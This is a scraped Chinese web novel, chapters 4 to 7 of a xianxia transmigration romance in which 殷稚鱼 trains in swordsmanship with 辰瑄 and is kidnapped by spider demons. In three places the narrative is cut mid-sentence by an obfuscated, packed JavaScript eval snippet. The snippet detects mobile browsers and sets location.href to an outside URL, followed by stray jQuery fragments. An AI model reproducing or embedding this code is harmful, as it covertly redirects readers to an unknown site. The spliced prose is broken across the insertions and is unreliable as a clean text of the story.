清玄道人拔出塞子,一手握着一个酒葫芦,他抿了口辛辣的酒液,虽然没有点灯,但他的视野没有受到丝毫阻碍,仅仅凭借神识就可以探查到殷稚鱼那边的情况,他的脸上慢慢浮现出欣慰的笑,“这天赋,确实不错。” 另一间房里,辰瑄从入定状态中清醒。 修道者不需要睡眠,他也没有睡觉的习惯,只是察觉到附近逐渐成型的一道剑气,有些意外地睁开眼。 那道剑气太过浅显,和已经修成自己的剑意的辰瑄不同,显得弱小而又稚嫩,并不起眼。 然而殷稚鱼刚刚接触剑道,她今天才开始修行。 却已经能够摸索着激出一道剑气,十分厉害了。 黑发白肌的少年认真地盯着墙壁看了一会,怕殷稚鱼这个体质在晚上又招惹到什么妖邪,所以清玄道人安排房间时特意将殷稚鱼的房间安排在中间,以防出事。 他漂亮的唇微微弯下,赞叹道,“很出色。” 感应到殷稚鱼那边没问题,辰瑄又闭上眼,再次潜下心,继续修行。 殷稚鱼坚持看了半晚上书,后半夜坚持不住困得要命,歪倒在被子上睡了过去,翌日清早醒来时人还是恹恹的,很没有精神。 卫王静心准备的马车要比驿站的环境更好,里面铺满了华贵锦缎和软垫,殷稚鱼的下颔一点一点的,听清玄道人问,“稚鱼,入门剑法你看到哪里了?” 殷稚鱼猛然清醒,她揉了揉眼,柔软浓密的发丝蔫蔫地耷拉下来,嗓音含糊,“看完了。” “这么快?”清玄道人讶然,同时也对殷稚鱼的天赋有了更清晰的认知。 入门剑法作为乾虚派新弟子的修行基础,自然不难,然而刚入门的小弟子再快也要花一个月时间才能学会,殷稚鱼一个晚上就看完了,说明她在剑道上的天赋十分惊艳。 她天生适合学剑。 马车里空间再大也有限,清玄道人随口问了几句里面的招式,殷稚鱼配合地比划。 她的动作还不算到位,明显看得出略显生疏,但难得的是,少女已经修出了一道稚嫩的剑气。 不是剑意,她距离悟出自己专属的剑意还早的很,那道剑气也没有成型,松散而又模糊。 可那到底也是剑气。 清玄道人从芥子袋里取出一物,扔给殷稚鱼,满意道,“稚鱼天赋过人,为师甚是欣喜,这是师尊我给你的奖励。” 殷稚鱼赶紧接过。 那是一把剑。 法宝可以分为下品,中品,上品,以及极品,神器五个等级,而清玄道人送给殷稚鱼的武器就是一把下品的长剑。 剑身水蓝浅淡,仿若流淌着剔透的水色,柔韧而又修长,美丽如月色静谧,湖光潋滟粼粼的时刻。 她好奇地拿着长剑左右端详,清晰地看见剑柄上印着两个字:秋水。 这是这柄剑的名字。 辰瑄出声,“这把剑正适合现在的殷师侄,等师侄的实力达到凝丹后,或许可以去剑冢寻找更合适自己的本命剑。” 剑冢? 又解锁一处新地点,殷稚鱼下意识看向清玄道人,等他解答。 清玄道人:“剑冢是乾虚派每个弟子达到凝丹修为后都会去的地方,那里葬了千万无主的剑,基本每个人都能在那里寻到契合自己的本命剑。” “不过小师弟的本命剑并不是自剑冢中来,”清玄道人笑眯眯地补充,“那是他在外历练所得。” 见殷稚鱼好奇看来,辰瑄思索了下,自腰间抽出佩剑。 殷稚鱼在卫宫里,曾见辰瑄用过剑。 然而那把剑纵使锋锐,也说不上多么出类拔萃,锋锐有余而灵性不足,更像是一把凡剑。 但他此刻抽出的剑却不一样,比殷稚鱼手上的剑要更加出尘缥缈,像是云端淌下飞瀑,朦胧而又绰约,雾气般的浅白隐隐约约,泛着一种仿若来自亘古的冰冷与浩瀚。 “这是千秋。”辰瑄介绍,他并没有刻意去催动这把剑,名气响遍九州五岛,令妖魔闻之色变的神剑千秋,此刻安静的像是一件精美的展示品一样,被握在少年修长白皙的手掌间。 他的手很漂亮,指节分明,雪白而又细腻的皮肉包裹着纤细的骨骼,呈现出一种恍若冰雪般的清冷美感来。 “好美。”殷稚鱼惊叹道。 她知道千秋。 在原著里,千秋就是男主辰瑄的本命武器,被提到的次数很多,这柄剑本就是神器,在辰瑄回归本体之后再度淬炼,被磨砺成绝世神兵,是当之无愧的天下第一剑。 神器已生器灵,然而千秋的剑灵十分高冷,不爱说话,更不爱露面,也曾被空桑伊吐槽过,说是剑随人形,他的主人不好接近,这柄剑更是难以接近。 而这柄赫赫有名的千秋剑,最后却碎在辰瑄斩杀魔神之际,化为漫天碎片,器灵泯灭,同主人一起,同葬万古。 清玄道人鼓励殷稚鱼多加修行,虽然她和其他修道者不一样,但是剑冢只要求实力达到凝丹,因此即便她无法辟府凝丹,但等到剑道大成之后,一样可以入剑冢选剑。 原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235485|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 著里的殷稚鱼有没有入剑冢并没有描写,但是殷稚鱼觉得可能性不大。 她略过这个话题,爱不释手地把玩新到手的秋水剑。 秋水剑只是下品法宝,并没有生出剑灵,然而殷稚鱼修为尚低,她才刚刚踏入道途,过高的灵剑反而无法驾驭,所以这把剑刚刚好。 不过,就算是秋水剑,殷稚鱼现在用起来也有点困难,体内灵气轻易就被抽空,她只能闭上眼,尝试着去催动婆诃般若花,吸纳更多的灵气。 清玄道人提醒过殷稚鱼,在越过屏障之前,她必须完成第一重淬炼,否则九州五岛过于磅礴的灵气就会挤爆她的身体。 殷稚鱼已经摸索出了浅显的剑气,修行并不困难,只是剑气淬炼己身会疼,她狠下心,对着自己下狠手。 终于,在抵达灵气屏障之前,殷稚鱼初步完成了第一重淬炼。 护送的队伍停了下来。 他们只是凡人,没办法进入九州五岛,只能停在这里,清玄道人护着殷稚鱼,和他们告辞,目送他们回转卫国。 一行三人平静地越过屏障。 只有拥有灵根,已经入了修行之路的人才能穿过屏障。 清玄道人撑开灵气护罩,护着殷稚鱼走了过去。 殷稚鱼看不见屏障,有清玄道人的护持,她走过去并没有受到任何阻碍。 少女握住剑,因为清玄道人的着重强调提醒,十分警惕。 很快,她面前的场景豁然变换。 空气中原本稀薄到难以感应的灵气汹涌而至,浓郁到潮湿,殷稚鱼咬牙,脚步顿住,体内的婆诃般若花摇曳着汲取磅礴的灵气,尽数引入少女的身体。 清玄道人面色凝重,紧紧地盯着殷稚鱼。 像是承担不住这样大的压力,少女柔嫩的肌肤似乎都要绷裂碎开,显现出隐约的裂痕,纤细的血丝纵横,呈现出一种触目惊心的破碎感。 清玄道人驻足,正色,“这个过程,只有她自己才能捱过去。” 辰瑄垂眸,“希望不会出事。” 耳畔嗡鸣一片,殷稚鱼听不见任何声音,像是浸入深海之中,恐怖的水压欲要将她压成肉泥,却又挣扎着没有损坏。 少女的指尖狠狠地掐入掌心,咬住唇,被咬住的区域显出一点鲜艳夺目的嫣红色调,似被揉碎碾出清涩汁液的春日桃花,又像是化入水中的朱砂胭脂,透出一点点湿漉漉的艳色来。 殷稚鱼能够听见自己沉重的心跳声,一声又一声,如擂鼓,急促地响起。 好在淬炼后的肉身还是硬生生地忍了过来,第一波考研有惊无险地度过。 清玄道人和辰瑄的视线同时落在殷稚鱼的额间。 因为殷稚鱼不会梳复杂的发型,队伍里也没有准备侍女,所以这几天她的发型都有些草率敷衍,额间毛绒绒的纤细碎发蓬松地散开,隐约遮住光洁莹润的额头。 而在被柔软的长发掩映的区域,白皙的肌肤上,逐渐生出一片朱红的花瓣。 那是婆诃般若花与殷稚鱼结合得越发紧密的证明。 第一瓣婆诃般若,在她的肌肤抽长出来。 5. 请教 殷稚鱼惆怅地站在窗前,她手里拿着一块糕点,试图喂鸟。 可惜她所在的地方是清玄道人的飞行灵宝上,那是一套可以放大缩小的宅院,一共有好几间房间,还有独立的小院子,三个人分开住也不影响什么。 宅院环境清幽,松萝繁茂,覆落一片蓊郁的翠影,只是殷稚鱼被系统科普过才知晓,这些灌木都不是自然生长,而是灵宝自带的,由灵气催生而成。 自然,里面也不可能有飞鸟之类的小动物。 九州五岛极大,而乾虚派位于乾州,是繁华之地,凡间与九州五岛的屏障则位于九州边境,荒凉偏僻,少见人影,要赶到乾州还需要花费半月时间。 不过在殷稚鱼芥子袋里的糕点全部消耗完毕之前,他们总算离开了鸟影都见不到一只的鬼地方,人烟逐渐密集了起来。饭馆提供的食物和之前在驿站尝到的也是两个极端,虽然比不上卫国王宫御膳的技艺精湛,但九州五岛的食材在灵气浓郁之地生长而出,因此比凡间的食材要更加鲜甜清新。 殷稚鱼松了口气。 一行三个人之中,就她是个凡人,需要进食,而且就算她以后实力提高了,这个情况也不会改变。 她坐了一会,将昨天在酒楼打包带走的点心吃掉大半,这才慢条斯理地翻开剑谱,继续修行。 殷稚鱼已经将入门剑法练得如火纯青,清玄道人沉吟过后,将这本灵蛇剑法教给了殷稚鱼,她如今灵力低微,即便悟性高也需要花一点时间才能彻底掌握这本剑法。 院门被扣响。 殷稚鱼停下动作,去推门。 站在门口的人是辰瑄。 “小师叔。”殷稚鱼乖乖地叫人,即便她再怎么对男女之情不开窍,也知晓不能直接莽过去亲近对方,要是把辰瑄吓跑了她的任务直接宣告完蛋,因此殷稚鱼选择了委婉一点的路子,当然,时间尚短,她委婉得比较含蓄,也不知道辰瑄看出来了没有。 “殷师侄,”辰瑄温软地问,“刚才在练剑吗?” 殷稚鱼点了下头,她将秋水收起来,“小师叔是打算教我吗?” “不是,”辰瑄失笑,“我来是和你说一声。” 他顿了顿,也不知道怎么说对清玄道人的形象比较好,最后还是实话实说,“清玄师兄有事先离开了,留下我领着你回乾虚派。” 殷稚鱼缓缓打出一个? 留下小师弟带着刚收还没有正式入门的新弟子一起走,人干事。 殷稚鱼:她这新认的师尊,好像有点不靠谱啊。 但很快,殷稚鱼脑海里又冒出一个新念头:只剩下辰瑄的话,那这算不算孤男寡女,培养感情的好时机啊。 殷稚鱼精神一振,却还是强忍下翘起的唇角,“这真是太好了……呸,不是,太不幸了,所以师尊到底去干什么了?” 她有些茫然,清玄道人是殷稚鱼的师尊,却不是辰瑄和空桑伊的师尊,在原著里出场的次数不多,她对这个便宜师尊也是一知半解。 “他……”辰瑄斟酌着回应,“清玄师兄有点私事,急着处理。” “哦哦。”辰瑄明显不想透露更多,殷稚鱼也没有多问,少女笑吟吟地问,“那如果我在剑法上有所疑问的话,可否去寻小师叔解答?” 她歪了下头,少女穿着绿罗裙,翠油油的颜色和身后的络石藤交映成趣。 美人蕉半垂下宽大的叶片,抽出一支纤细朱红的花苞,艳丽有如清透的红玉雕成,衬着青瓦白墙,像是一副隽永又秀丽的水墨画卷,清雅又古朴。 女孩的眸子黑亮,瞳仁饱满而又黑亮,看起来格外剔透,认真盯着人的时候显得很是专注。 辰瑄不期然想起几日前,婆诃般若在她的额间生长而出,像是某种神秘又瑰丽的花钿,而少女的唇咬得艳红艷丽,仿佛在诱惑人去亲近。 他指尖微顿,神色平静无波,“当然可以。” 既然得到了满意的答复,那么殷稚鱼见好就收,含笑说,“我知道了,小师叔。” 她眨眨眼,说,“那我继续练剑了。” 卫王宠爱女儿,想到殷稚鱼前往九州五岛可能以后都不回来了,因此往芥子袋里塞了很多东西,光是裙子就几十上百套,如果不是时间不够的话,数量会更惊人。 殷稚鱼对着镜子看了看,觉得绿罗裙还挺好看的,思考了一下,还是没换。 她也没上妆,主要是不会,画了比不画可能更难看,再加上上妆就太刻意了。 确认了一下自己现在的状态之后,殷稚鱼愉快地出发,准备去找辰瑄。 她顺便向系统寻求帮助,“你觉得,我要怎么攻略辰瑄更合适一点。” 系统:“我觉得可以在练习的时候制作肢体接触,宿主在练剑的时候可以尝试触碰辰瑄,或者假装受伤,到时候辰瑄帮你包扎……” “停。”殷稚鱼及时喊停。 她沉默了一会,诚恳地说,“我建议你不要建议了。” 太突兀了。 辰瑄看似温和,有如春风拂面的柔和,但这些天相处下来,殷稚鱼也摸清了一点他的性格,辰瑄不喜欢和别人接触,殷稚鱼敢保证,她要是待会假装摔辰瑄怀里制造肢体接触,辰瑄就敢把自己拉黑,以后她想要再接触辰瑄就难了。 系统果然是单身统无疑了,提供的办法一点都不靠谱。 系统住在殷稚鱼的脑海里,能感应到她的一点想法,顿时就不服气了。 它幽幽道,“说得好像宿主谈过恋爱一样,你不也是单身到现在。” 殷稚鱼笑了下,“可我和你不一样。” “卫国王都里想要娶玉华公主的人不计其数,如果我不离开卫国的话,父王现在应该就在烦恼我的夫君人选了。” 或许是想到那副场景,殷稚鱼微微弯起眼睛。 胎穿十几年,殷稚鱼是真切地把卫国当成了自己的家,只是阴差阳错之下,也不知道以后她有没有机会回去看看卫王。 这些念头在脑海里转过,殷稚鱼发现自己已经走到了辰瑄所住的院子门口,少女敲了敲院门,安静地站在院门口等待。 “殷师侄。”辰瑄打开院门,侧身让开,示意殷稚鱼跟着他进来。 他所住的院落和殷稚鱼那边的布局差不多,只是更加安静了几分,辰瑄在院子里的石凳上坐下,淡声,“有什么不懂的地方,可以问我。” 辰瑄的修为已经达到了凝丹后期,距离融合也只有一步之遥,他才十七岁,只比殷稚鱼大两岁,这个年纪,能够达到这个修为可以说是极其惊人,由此也能看出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235486|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的天赋到底有多高。 殷稚鱼将剑谱翻到最后,老老实实地展示出自己看不懂的地方,她这些地方是真的没看懂,倒不是刻意装的,殷稚鱼修行时间太短了,就算是剑道天赋再高也不可能凭空领悟。 而这几招剑式,都是辟府甚至凝丹才能领悟的。 殷稚鱼估计了一下自己的实力。 虽然她没有灵根,无法引气辟府,但婆诃般若花与她融为一体,使得她也能发挥出和修道者同等的实力,而艰难捱过第一波灵气洗礼之后,清玄道人为她检查过,得出的结论是殷稚鱼现在的实力相当于辟府初期。 相当于是直接跳过了引气期,婆诃般若花毕竟是传说中的神物,总有些常人难以想象的奇妙神通。 只是凡间灵气实在太凋敝了,婆诃般若辛辛苦苦好几年也只汲取到让殷稚鱼达到辟府的灵气。 如果是在九州五岛的话,那么她的实力可能会更高,当然,鉴于九州五岛灵气太充裕,她被撑爆的时间也会大大提前,根本撑不到及笄。 辰瑄低头去看。 他生了副过于出挑的皮囊,乾虚派小师叔天赋过人,十几年来无一败绩,然而比他的实力更出名的是他的美貌,殷稚鱼还记得作者是如何形容辰瑄的容貌的:观音玉面,菩提无心。 黑发柔顺地垂下来,浓密纤细的发梢铺开一卷卷乌缎,瞳色比常人更淡,浅琥珀色的瞳仁恍惚中会生出些许神性的清冷淡漠。 到底是神。 殷稚鱼撑着下巴,拖长了声音,懒懒问,“小师叔?” 辰瑄将剑法收起,他没有用千秋,神剑的威力太大了,稍不小心可能会损坏这件飞行灵宝。 而到时候,他的师兄可能会心疼得一边抹眼泪,一边强撑着说师弟不小心而已不需要赔偿。 辰瑄唇抽了下,他用的是一把普通的铁剑,没有往里面灌入灵气,比划剑招时有种行云流水的美感。 殷稚鱼看得专注,她比划这几招时总觉得灵气有点滞涩,没有前面那么流畅。 “是这样吗?”殷稚鱼握着秋水,依葫芦画瓢。 辰瑄走上前,调整了下她有些错误的小动作。 “应该是这样。” 殷稚鱼微微偏头。 少年站在她的不远处,极近的位置,如雪的衣袍荡开,她能闻到些许清冷淡雅的香气,是泽兰香,又与一般的泽兰香不同,要更加疏离冷冽一些,似乎是掺入了冰片与小茴香。 辰瑄并没有触碰她,隔着一段距离,详细地指教她应该怎么做。 殷稚鱼照做,动作很快由生涩调整到流畅。 她神采飞扬,“是这样吗,小师叔?” 辰瑄毫不吝啬地给予肯定,“做得很好。” 他退开,修长漂亮的手指拢在宽大的袖笼之中,像是雾海翻腾,浅色温柔的眸子透出一点真切的鼓励,“可以再试试,能不能做得更好。” 殷稚鱼在辰瑄那里待了半个时辰,直至将整套剑法都练得熟练才告辞,回自己的院落休息。 系统很遗憾错过这么好的接触机会,唉声叹气。 “急什么?”殷稚鱼慢悠悠地说,少女的手臂练得微微酸麻,鬓边发丝也被汗水打湿,并没有因此气馁,“以后还有接触的机会的。” 6. 求救 虽然半路丢了师尊,但是换来和辰瑄的相处机会,殷稚鱼觉得这笔买卖不亏。 不过她暂时还没有找到和辰瑄拉近关系的机会,只能暗暗鼓励自己来日方长。 日光碎金,重重光影仿若水波般漾开,透过庭院里松柏长针般细密繁茂的缝隙漏下铜钱般大小不一的光斑。 殷稚鱼放下秋水,一抬头就看见远处飞来一只纤巧的纸鹤,它略过这座独立小院落的上空,飞向辰瑄的住所,很快消失不见。 殷稚鱼有些好奇,如果没认错的话,那应该是传音灵鹤,是用来短距离联络的法宝,不难,很简单就能学会。 九州五岛发展至今,当然也生产出了可以传讯的法宝,传音灵鹤是一种,优点是方便快捷,且造价较低,缺点是容易被人拦截,且送到指定目标的手上需要耗费一定的时间。 而最好的一种传讯法宝被称作天书灵简,可以无视距离直接与对方沟通,并且还发展出了一个提供给各宗修士交流的地方,允许匿名,殷稚鱼知晓天书灵简的第一反应就是九州五岛竟然还有X吧,X博,它只有一个缺点,那就是贵,巨贵。 殷稚鱼不缺金银,卫王怕她手里拮据,几乎往芥子袋里装了大半个私库,但凡间没有灵石,而殷稚鱼也不知道去哪里兑换灵石,所以很遗憾的,她现在手里一颗灵石都没有。 之前在酒楼用膳,都是清玄道人考虑到自己身为师尊与师兄,大手一挥,主动买单。 而现在看情况,这只传音灵鹤似乎是送给辰瑄的。 殷稚鱼眨了眨眼。 没等她过多思考,院门就被扣响,门口站着辰瑄,少年手里拿着一只被拆开的灵鹤,唤她,“殷师侄。” “怎么了,”殷稚鱼问,“小师叔,出什么事了吗?” 辰瑄:“刚才有宗门弟子传讯给我求救,他们在星城遇到麻烦了,所以我们可能要在这停留一段时间。” 殷稚鱼好奇,“是什么麻烦?” 辰瑄没有瞒她,娓娓道来,“遇到了一只蜘蛛精,还有一位同门被蜘蛛精掳走了。” “好啊,”殷稚鱼没有疑问了,出力的是辰瑄,她当然不可能反对,“我们现在去星城。” 辰瑄颔首。 他不能把殷稚鱼一个人留在这件飞行法宝上,她体质特殊,本来就招人觊觎,虽然清玄道人给她留下了一枚遮掩气息的符箓,但那枚符箓等级不高,所以要是出意外了会很麻烦。 这件飞行法宝并不需要以己身灵气催动,而是以灵石作为动力来源,操作并不麻烦,辰瑄之前搭乘过多次,轻车熟路地更改了行驶方向,往星城行去。 飞行法宝在星城城外停下,接到回信的乾虚派弟子提前一步在城外等待,脸上是如出一辙的焦急。 偌大的庭院降落,院门缓缓打开,然而出现在乾虚派弟子视野里的并非是他们熟悉的宗门天骄,而是一个容貌灵秀的少女,对方穿着浅粉色裙衫,颇有春日活泼气息,那双幼圆短乖的眸子尤其惹人注目,看得他们微微一怔,险些怀疑传音灵鹤送错了人。 好在紧随其后的就是他们熟悉的小师叔,少年衣衫素白,有如晨曦淡雪,神色温雅。 “小师叔,”乾虚派弟子纷纷围上来,为首的弟子白衍欲言又止,“这位姑娘是?” 辰瑄为两人做介绍,“这位是清玄师叔新收的弟子,叫做殷稚鱼。” 白衍恍然,拱手行礼,“殷师妹。” “师兄好。”殷稚鱼抿唇笑,露出一点雪白的,尖尖可爱的虎牙,让人一看就生出好感来。 辰瑄缓声,“现在是什么情况?” 白衍叹了口气,“进去说吧。” 等到辰瑄和殷稚鱼跟着他们进了租住的城内宅子,白衍才将前因后果给他们讲清楚。 乾虚派弟子向来弟子到了一定修为就遣下山历练的规矩,是为了开阔弟子眼界,同时丰富弟子处事经验,总之宗门对此保持鼓励状态。 而白衍一行人虽然是内门弟子,但是实力处于较差的那一派,感觉自己最近的修为提升到了瓶颈,因此在向宗门禀报了之后,他集合了几个关系不错的师弟师妹,一起离宗历练。 而星城,就是他们历练的一处途经城池。 星城偏僻,这里虽然设有城主府,但实际上城主早已不管事,居民之间的事情一般由双方协商解决,本来也算得上安宁,但刚好在此地停留的白衍他们却听说星城最近来了一只蜘蛛精,掳走了好几位城中居民。 正道弟子斩妖除魔义不容辞,他们自然不能允许蜘蛛精继续造孽,在了解到蜘蛛精只有辟府中期的修为之后,就拿着武器往蜘蛛精的巢穴去了。 结果情报出错,那只蜘蛛精虽然表面感受起来只有辟府期的气息,但真正打过一遭的白衍他们才知晓,对方早已突破凝丹期,化形都化了一半,他们几个加起来都不是蜘蛛精的对手,更别提蜘蛛精还有不少小弟,只能狼狈溃逃。 而逃跑途中,白衍的一位师妹修为最低跑得最慢,结果就被蜘蛛精逮回去了。 辰瑄微微沉吟。 少年再次确认,“是凝丹期对吗,初期还是中期?” “凝丹中期,”白衍提起还有些后怕,惭然道,“也是我们高估了自己的能力,才害的苏尹师妹被抓。” 其他的几位乾虚派弟子听到两人的对话,纷纷羞愧捂脸。 辰瑄现在是凝丹后期的实力,距离融合也只有一步之遥,可以说打蜘蛛精是轻轻松松,只是白衍怕辰瑄翻车,又补充了几点信息。 “蜘蛛精狡猾,妖族的实力向来不能只看修为,而且,它的巢穴里还有其他被掳走的百姓,还望小师叔别冲动,计划好了再行动。” 殷稚鱼在旁边听了半天,插了一嘴,“蜘蛛精残害了不少人,你们不怕那位师妹出事吗?” 白衍微顿,解释道,“苏尹师妹身上有不少法宝,能够撑一段时间,而且,她如果出事的话,我们能够感应到。” 他声音凝重,“蜘蛛精好像是将苏尹师妹关在了某处地牢里,我们探测过了,蜘蛛精进食的时间是在晚上,所以她暂时安全。” 行吧。 殷稚鱼停止发言,她没有疑问了。 就在两人说话的这段短短的时间里,辰瑄已经考虑好了,“行动要保证百姓和苏尹师妹的安全,他们被关在哪里了你知道吗?” 浅色的眸子温和地注视过去,情绪很淡,白衍老实交代,“我们当初是依靠一件法宝进行定位的。” “只是蜘蛛精的巢穴里有其他妖类守着,我们也不敢进去,只能看到他们都被关在一座破庙里。” 辰瑄垂眸,他的五官格外精致,瞳眸尤其,本来就是清冷温柔的眼型,下垂眼,略微有些无辜的乖,但是低下眼时那种如同寒泉融雪的冷淡疏离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云片糕是在一家开了许多年的点心铺买的,手艺很好,她很喜欢,现在大方地分享出来。 “谢谢师妹。” 几个人互相看了一眼,没有拒绝。 气氛热络了一点。 忽然,宅子的大门被扣响。 师妹紧张地站起来,扬声问,“是谁?” 外面很快响起一道男声,“是我,城内百姓感谢仙师出手,特意派我送了点东西来。” 师妹辨别出他的声音,微微松了一口气,她听出这是星城见过的一个百姓的声音,男人因为妻子被蜘蛛精掳走而忧心不已,他没有灵根,无法修行,只是个手无缚鸡之力的凡人而已。 “我去开门吧。”殷稚鱼从师妹的脸上看出对方大概没有威胁,少女站起身,步伐轻快地往门口走去。 然而当她打开门的时候,站在大宅门口的并非沧桑老实的中年男人,对方抬起头,咧开嘴对她森森一笑,那张属于凡人的脸上生出细密的绒毛,绝非人类应有的模样。 “是妖,”厅堂里坐着的几人豁然起身,急声呼唤,“师妹小心!” 只是这妖的动作比他们更快,一张嘴就喷出一股黑烟,首当其冲的就是站的最近的殷稚鱼,少女毫无防备,半边身体都被笼罩在浓浓的烟雾里。 7. 被抓 殷稚鱼眼前一黑,事情发生得太突然了,她根本来不及反应,狠狠呛入了一口黑烟,意识昏沉沉的一片,连脑海里系统的警报声都没听见,软绵绵地倒下。 身后传来此起彼伏的惊呼声,连带着重物倒地的声音。 单独的房间里,原本在完善营救计划的辰瑄倏然停下发言,瞳眸一转,径直往外看去,白衍也听见了外面的动静,神色凝重。 下一瞬,锋利的剑光破开大门,豁然刺向厅堂。 白衍不敢耽误,赶紧跟上去。 辰瑄的实力很强,如果正面交锋的话,那只妖物定然不是他的对手,然而能够生存至今的妖物多多少少都有些别的本领,狡猾得很,快得几乎化成一团模糊的黑光,挟持着晕倒的殷稚鱼,飞快往外跑。 辰瑄没有一丝停顿,纵身跟了上去,渐渐的越离越近,他琥珀色的眸底泛起凉意,千秋脱手,神剑与主人心意相通,毫不留情地刺向妖物的脖颈。 妖血喷溅出来,憨厚老实的中年男人头颅滚落在地,化出原型,蜷缩成一团,是黄鼠狼。 辰瑄招了下手,千秋飞回了他的手里,清冷秀致的长剑上未沾染丝毫血迹,只略微一抖,就重新恢复干净。 他缓步上前,嘴唇抿得紧紧的。 ——不见了。 这只伪装成人类的黄鼠狼死在辰瑄的手上,然而本该被它带在身上的殷稚鱼却凭空消失,辰瑄不用多想,就知道是谁下的手。 他好看的眉微拧。 辰瑄当街斩杀妖物,被看了个正着,然而星城里凡人居多,和妖物对抗起来完全就是送菜,根本不敢多言,门窗都被关得紧紧的,只有隐晦的视线从里面投射而出,眼带畏惧。 白衫的少年人衣服上沾了些血,却并不在意,而是上前,剑尖拨开黄鼠狼的尸体,没有找到什么,才遗憾地动手,指尖微顿,妖物尸体直接被挫骨扬灰。 被当成棍子使用的千秋不满地震动了一下。 “小师叔,”白衍跟了上来,紧张询问,“殷师妹呢?” “被妖物拐走了,”辰瑄问,“其他人怎么样了?” 白衍叹出一口气,“都晕过去了,好在没有其他问题,可能过一会就会苏醒。” 辰瑄颔首,衣衫上的血渍让他略微嫌弃,忍了忍,还是使用清洁咒将衣裳弄干净,少年周身还残留着未散尽的剑意,凛冽冰冷得几乎要灼伤眼球,看得白衍敬佩不已。 不愧是乾虚派弟子第一人,容姿卓越,风华绝代的辰瑄师叔,这样的实力,真是让他们这群被远远甩在身后的人望尘莫及。 “你留在宅子里,照看师弟师妹,”辰瑄抿唇,轻声说,“我亲自去救殷师侄。” 白衍相信辰瑄可以一个人解决掉那些妖物,但是,“要不要再商量一下?” “不用,”辰瑄考虑到殷稚鱼的特殊体质,没想到清玄道人给了她一枚隐匿气息的符箓竟然没用,竟然还招来了觊觎她血肉的妖物,“情况特殊,我过去就行,你留下来。” 其他人留在那只蜘蛛精的巢穴里可能还能多活几天,但辰瑄怕殷稚鱼送上门去的话,蜘蛛精直接迫不及待地吃了个新鲜的外卖,她身怀巨宝,偏偏实力低微,有如小儿抱金招摇过市,相当危险。 见辰瑄有了决议,白衍也不再反驳,“我知道了,小师叔。” ** 殷稚鱼晕了没多久就醒过来了。 婆诃般若有清心静气,辟邪抗毒的功能,即便她现在与婆诃般若的融合太低,不能完全发挥出婆诃般若的功效,但是她对毒烟的抗性依旧比一般人高,少女没有睁眼,五感都在渐渐恢复,甚至因为视力的缺失,听觉和触觉都比平时要更加灵敏。 她感觉自己可能是被抗在什么妖物的背上,贴脸是毛绒绒的,有类似于足肢滑过地面的悉悉索索的声响,听得人毛骨悚然。 周遭环境阴冷,似乎还带着水汽的潮湿。 该不会是蜘蛛吧。 殷稚鱼不适地动了下,背着她行动的妖立刻敏锐地抬头,然而少女动作更快,秋水剑恍若灵巧的蛇类,狠狠地刺入它的心口。 腐绿的血液喷了出来,这只不过引气中期,连形都不能化的蜘蛛转瞬就被殷稚鱼解决,不甘地咽下气。 也怪它粗心,没给殷稚鱼绑上绳子,毕竟少女怎么看都只是个凡人,只是气息好闻了些,格外纯净,让妖垂涎三尺。 如果不是巢穴的大网,那只凝丹期的蜘蛛精将它们压制得不敢做小动作的话,那么殷稚鱼在被送到蜘蛛精的巢穴之前,就会被贪吃的小妖给咬上几口。 殷稚鱼站起来。 这是一条通道,应该建在地下,光线幽暗,隐约能够听到漏水的滴答声,角落里弥漫着淡淡的土腥气,还有潮湿腐烂的干草气息。 殷稚鱼有些头疼。 她完全不知道自己是从哪里进来的,像是无头的苍蝇一样找不到方向,如果乱走的话,很可能喜提外卖送货上门的服务,蜘蛛精很可能会喜出望外,发现逃跑的猎物送入嘴里。 殷稚鱼幻想了一下那个画面,微微迟疑。 她也不能那么衰吧。 而且不知道这里还有没有其他妖物,万一又围上来一群小蜘蛛,群殴的话,她大概率打不过。 “是有人来了吗?”不远处传来细细弱弱的嗓音,殷稚鱼犹豫了下,怕是陷阱,谨慎地握着剑,往声源处走去。 她停在一间牢房外,里面关着十几个人,有男有女,至于年龄,有桃李之年的姑娘,也有垂髫幼童,都比较年轻。 可能是因为年纪越小肉质越嫩,蜘蛛也挑食。 看见殷稚鱼时,缩在一起抱团取暖的百姓眼里亮起了光,胆子比较大的姑娘率先上前,靠近殷稚鱼,“这位仙师,是来救我们的吗?” “不是,”殷稚鱼摇了摇头,诚实地道,“我也是被掳来的。” 姑娘眨了眨眼,她被关在这里有些时候,却没有被磨灭逃生的意志和希望,“那请问仙师,能够放我们出来吗?” “你们清楚出去的路吗?”殷稚鱼问。 姑娘眼睛暗了暗,声音明显沉重了些,“我们拼拼凑凑,大概知晓了该怎么逃出去,之前有姐姐画出了地牢的地图,只可惜她已经被蜘蛛精吃掉了,没等到逃出去的那一天。” 殷稚鱼闻言有了决策,“那你们站远一点,小心被伤到。” 她的灵蛇剑法已经练得炉火纯青,然而剑法使 